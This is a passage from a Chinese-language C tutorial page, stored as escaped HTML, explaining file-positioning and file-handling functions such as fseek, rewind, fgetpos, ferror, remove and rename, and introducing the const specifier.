class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003elong\u003c/span\u003e file_pos = ftell(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 一系列文件操作之后\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efseek(fp, file_pos, SEEK_SET);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面的例子先将指示器定位到文件结尾,然后得到文件开始处到结尾的字节数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efseek(fp, \u003cspan class=\"number\"\u003e0L\u003c/span\u003e, SEEK_END);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esize = ftell(fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"rewind\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#rewind\" class=\"headerlink\" title=\"rewind()\"\u003e\u003c/a\u003erewind()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erewind()\u003c/code\u003e函数可以让文件的内部指示器回到文件开始处。它的原型定义在\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003erewind\u003c/span\u003e\u003cspan class=\"params\"\u003e(file* stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个文件指针作为参数。\u003c/p\u003e\u003cp\u003e\u003ccode\u003erewind(fp)\u003c/code\u003e基本等价于\u003ccode\u003efseek(fp, 0l, seek_set)\u003c/code\u003e,唯一的区别是\u003ccode\u003erewind()\u003c/code\u003e没有返回值,而且会清除当前文件的错误指示器。\u003c/p\u003e\u003ch3 id=\"fgetpos-,fsetpos\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#fgetpos-%EF%BC%8Cfsetpos\" class=\"headerlink\" title=\"fgetpos(),fsetpos()\"\u003e\u003c/a\u003efgetpos(),fsetpos()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003efseek()\u003c/code\u003e和\u003ccode\u003eftell()\u003c/code\u003e有一个潜在的问题,那就是它们都把文件大小限制在 long int 类型能表示的范围内。这看起来相当大,但是在32位计算机上,long int 的长度为4个字节,能够表示的范围最大为 4GB。随着存储设备的容量迅猛增长,文件也越来越大,往往会超出这个范围。鉴于此,C 语言新增了两个处理大文件的新定位函数:\u003ccode\u003efgetpos()\u003c/code\u003e和\u003ccode\u003efsetpos()\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e它们的原型都定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efgetpos\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003efpos_t\u003c/span\u003e* pos)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efsetpos\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* stream, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003efpos_t\u003c/span\u003e* pos)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003efgetpos()\u003c/code\u003e函数会将文件内部指示器的当前位置,存储在指针变量\u003ccode\u003epos\u003c/code\u003e。该函数接受两个参数,第一个是文件指针,第二个存储指示器位置的变量。\u003c/p\u003e\u003cp\u003e\u003ccode\u003efsetpos()\u003c/code\u003e函数会将文件内部指示器的位置,移动到指针变量\u003ccode\u003epos\u003c/code\u003e指定的地址。注意,变量\u003ccode\u003epos\u003c/code\u003e必须是通过调用\u003ccode\u003efgetpos()\u003c/code\u003e方法获得的。\u003ccode\u003efsetpos()\u003c/code\u003e的两个参数与\u003ccode\u003efgetpos()\u003c/code\u003e必须是一样的。\u003c/p\u003e\u003cp\u003e记录文件内部指示器位置的指针变量\u003ccode\u003epos\u003c/code\u003e,类型为\u003ccode\u003efpos_t*\u003c/code\u003e(file position type 的缩写,意为文件定位类型)。它不一定是整数,也可能是一个 Struct 结构。\u003c/p\u003e\u003cp\u003e下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efpos_t\u003c/span\u003e file_pos;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efgetpos(fp, \u0026amp;file_pos);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 一系列文件操作之后\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003efsetpos(fp, \u0026amp;file_pos);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,先用\u003ccode\u003efgetpos()\u003c/code\u003e获取内部指针的位置,后面再用\u003ccode\u003efsetpos()\u003c/code\u003e恢复指针的位置。\u003c/p\u003e\u003cp\u003e执行成功时,\u003ccode\u003efgetpos()\u003c/code\u003e和\u003ccode\u003efsetpos()\u003c/code\u003e都会返回\u003ccode\u003e0\u003c/code\u003e,否则返回非零值。\u003c/p\u003e\u003ch3 id=\"ferror-,clearerr\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#ferror-%EF%BC%8Cclearerr\" class=\"headerlink\" title=\"ferror(),clearerr()\"\u003e\u003c/a\u003eferror(),clearerr()\u003c/h3\u003e\u003cp\u003e所有的文件操作函数如果执行失败,都会在文件指针里面记录错误状态。后面的操作只要读取错误指示器,就知道前面的操作出错了。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eferror()\u003c/code\u003e函数用来返回错误指示器的状态。可以通过这个函数,判断前面的文件操作是否成功。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eferror\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE *stream)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个文件指针作为参数。如果前面的操作出现错误,\u003ccode\u003eferror()\u003c/code\u003e就会返回一个非零整数(表示 true),否则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eclearerr()\u003c/code\u003e函数用来重置出错指示器。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eclearerr\u003c/span\u003e\u003cspan class=\"params\"\u003e(FILE* fp)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受一个文件指针作为参数,没有返回值。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFILE* fp = fopen(\u003cspan class=\"string\"\u003e\u0026#34;file.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;w\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e c = fgetc(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ferror(fp)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;读取文件:file.txt 时发生错误\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eclearerr(fp);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003efgetc()\u003c/code\u003e尝试读取一个以”写模式“打开的文件,读取失败就会返回 EOF。这时调用\u003ccode\u003eferror()\u003c/code\u003e就可以知道上一步操作出错了。处理完以后,再用\u003ccode\u003eclearerr()\u003c/code\u003e清除出错状态。\u003c/p\u003e\u003cp\u003e文件操作函数如果正常执行,\u003ccode\u003eferror()\u003c/code\u003e和\u003ccode\u003efeof()\u003c/code\u003e都会返回零。如果执行不正常,就要判断到底是哪里出了问题。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003efscanf\u003c/span\u003e(fp, \u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;n) != \u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ferror(fp)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;io error\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (feof(fp)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;end of file\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e clearerr(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e fclose(fp);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,当\u003ccode\u003efscanf()\u003c/code\u003e函数报错时,通过检查\u003ccode\u003eferror()\u003c/code\u003e和\u003ccode\u003efeof()\u003c/code\u003e,确定到底发生什么问题。这两个指示器改变状态后,会保持不变,所以要用\u003ccode\u003eclearerr()\u003c/code\u003e清除它们,\u003ccode\u003eclearerr()\u003c/code\u003e可以同时清除两个指示器。\u003c/p\u003e\u003ch3 id=\"remove\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#remove\" class=\"headerlink\" title=\"remove()\"\u003e\u003c/a\u003eremove()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003eremove()\u003c/code\u003e函数用于删除指定文件。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eremove\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* filename)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受文件名作为参数。如果删除成功,\u003ccode\u003eremove()\u003c/code\u003e返回\u003ccode\u003e0\u003c/code\u003e,否则返回非零值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eremove(\u003cspan class=\"string\"\u003e\u0026#34;foo.txt\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例删除了\u003ccode\u003efoo.txt\u003c/code\u003e文件。\u003c/p\u003e\u003cp\u003e注意,删除文件必须是在文件关闭的状态下。如果是用\u003ccode\u003efopen()\u003c/code\u003e打开的文件,必须先用\u003ccode\u003efclose()\u003c/code\u003e关闭后再删除。\u003c/p\u003e\u003ch3 id=\"rename\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#rename\" class=\"headerlink\" title=\"rename()\"\u003e\u003c/a\u003erename()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003erename()\u003c/code\u003e函数用于文件改名,也用于移动文件。它的原型定义在头文件\u003ccode\u003estdio.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003erename\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* old_filename, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* new_filename)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它接受两个参数,第一个参数是现在的文件名,第二个参数是新的文件名。如果改名成功,\u003ccode\u003erename()\u003c/code\u003e返回\u003ccode\u003e0\u003c/code\u003e,否则返回非零值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003erename(\u003cspan class=\"string\"\u003e\u0026#34;foo.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;bar.txt\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例将\u003ccode\u003efoo.txt\u003c/code\u003e改名为\u003ccode\u003ebar.txt\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,改名后的文件不能与现有文件同名。另外,如果要改名的文件已经打开了,必须先关闭,然后再改名,对打开的文件进行改名会失败。\u003c/p\u003e\u003cp\u003e下面是移动文件的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003erename(\u003cspan class=\"string\"\u003e\u0026#34;/tmp/evidence.txt\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;/home/beej/nothing.txt\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"变量说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%98%E9%87%8F%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"变量说明符\"\u003e\u003c/a\u003e变量说明符\u003c/h2\u003e\u003cp\u003eC 语言允许声明变量的时候,加上一些特定的说明符(specifier),为编译器提供变量行为的额外信息。它的主要作用是帮助编译器优化代码,有时会对程序行为产生影响。\u003c/p\u003e\u003ch3 id=\"const\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#const\" class=\"headerlink\" title=\"const\"\u003e\u003c/a\u003econst\u003c/h3\u003e\u003cp\u003e\u003ccode\u003econst\u003c/code\u003e说明符表示变量是只读的,不得被修改。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e PI = \u003cspan class=\"number\"\u003e3.14159\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ePI = \u003cspan class=\"number\"\u003e3\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例里面的\u003ccode\u003econst\u003c/code\u003e,表示变量\u003ccode\u003ePI\u003c/code\u003e的值不应改变。如果改变的话,编译器会报错。\u003c/p\u003e\u003cp\u003e对于数组,\u003ccode\u003econst\u003c/code\u003e表示数组成员不能修改。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e arr[] = {\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earr[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e5\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003econst\u003c/code\u003e使得数组\u003ccode\u003earr\u003c/code\u003e的成员无法修改。\u003c/p\u003e\u003cp\u003e对于指针变量,\u003ccode\u003econst\u003c/code\u003e有两种写法,含义是不一样的。如果\u003ccode\u003econst\u003c/code\u003e在\u003ccode\u003e*\u003c/code\u003e前面,表示指针指向的值不可修改。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// const 表示指向的值 *x 不能修改\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 